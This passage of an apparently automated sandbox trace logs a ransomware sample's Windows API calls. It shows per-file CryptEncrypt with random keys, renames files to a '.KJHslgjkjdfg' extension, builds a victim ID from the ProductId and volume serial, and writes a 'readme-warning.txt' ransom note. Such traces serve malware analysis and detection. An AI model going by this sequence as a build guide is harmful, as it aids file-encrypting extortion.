lpOverlapped=0x0) returned 1 [0172.821] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.821] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.822] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.822] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.822] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x543, lpOverlapped=0x0) returned 1 [0172.822] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x550, dwBufLen=0x550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x550) returned 1 [0172.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.822] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x550, lpOverlapped=0x0) returned 1 [0172.822] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.822] SetEndOfFile (hFile=0x114) returned 1 [0172.826] GetProcessHeap () returned 0x2ef0000 [0172.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.826] GetProcessHeap () returned 0x2ef0000 [0172.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.831] CloseHandle (hObject=0x114) returned 1 [0172.831] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.832] GetProcessHeap () returned 0x2ef0000 [0172.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.832] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.832] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.835] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.835] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.835] GetProcessHeap () returned 0x2ef0000 [0172.835] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.835] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.835] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.835] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.835] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.835] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.835] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.836] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.836] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.836] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.836] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e93, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7e93, lpOverlapped=0x0) returned 1 [0172.837] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7ea0, dwBufLen=0x7ea0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7ea0) returned 1 [0172.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.838] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7ea0, lpOverlapped=0x0) returned 1 [0172.838] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.838] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.838] SetEndOfFile (hFile=0x114) returned 1 [0172.842] GetProcessHeap () returned 0x2ef0000 [0172.842] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.842] GetProcessHeap () returned 0x2ef0000 [0172.842] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.846] CloseHandle (hObject=0x114) returned 1 [0172.846] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.846] GetProcessHeap () returned 0x2ef0000 [0172.846] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.846] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.846] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.847] GetProcessHeap () returned 0x2ef0000 [0172.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.847] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.847] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.847] GetProcessHeap () returned 0x2ef0000 [0172.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.847] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.847] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.847] GetProcessHeap () returned 0x2ef0000 [0172.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.847] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.847] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.847] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.847] GetProcessHeap () returned 0x2ef0000 [0172.847] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.848] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.848] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.848] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.848] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.848] RegCloseKey (hKey=0x114) returned 0x0 [0172.848] GetProcessHeap () returned 0x2ef0000 [0172.848] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.848] GetProcessHeap () returned 0x2ef0000 [0172.848] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.848] GetProcessHeap () returned 0x2ef0000 [0172.848] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.848] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.849] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.849] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.849] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.849] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.849] GetProcessHeap () returned 0x2ef0000 [0172.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.849] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.850] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.850] GetProcessHeap () returned 0x2ef0000 [0172.850] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.850] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\readme-warning.txt") returned 82 [0172.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.850] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.852] CloseHandle (hObject=0x114) returned 1 [0172.853] GetProcessHeap () returned 0x2ef0000 [0172.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.853] GetProcessHeap () returned 0x2ef0000 [0172.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.853] GetProcessHeap () returned 0x2ef0000 [0172.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.853] GetProcessHeap () returned 0x2ef0000 [0172.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.853] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.853] GetProcessHeap () returned 0x2ef0000 [0172.853] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.853] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0172.853] GetProcessHeap () returned 0x2ef0000 [0172.853] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0172.853] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.857] GetProcessHeap () returned 0x2ef0000 [0172.857] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.857] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.857] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0172.857] GetProcessHeap () returned 0x2ef0000 [0172.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f3e278 [0172.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.858] GetProcessHeap () returned 0x2ef0000 [0172.858] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.858] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.858] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.870] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.870] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.870] GetProcessHeap () returned 0x2ef0000 [0172.870] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.870] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.870] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.870] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.870] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.870] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.871] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.871] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.871] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.871] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.871] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb8f8, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb8f8, lpOverlapped=0x0) returned 1 [0172.885] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb900, dwBufLen=0xb900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb900) returned 1 [0172.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.886] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb900, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb900, lpOverlapped=0x0) returned 1 [0172.886] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.886] SetEndOfFile (hFile=0x114) returned 1 [0172.889] GetProcessHeap () returned 0x2ef0000 [0172.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.889] GetProcessHeap () returned 0x2ef0000 [0172.889] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common 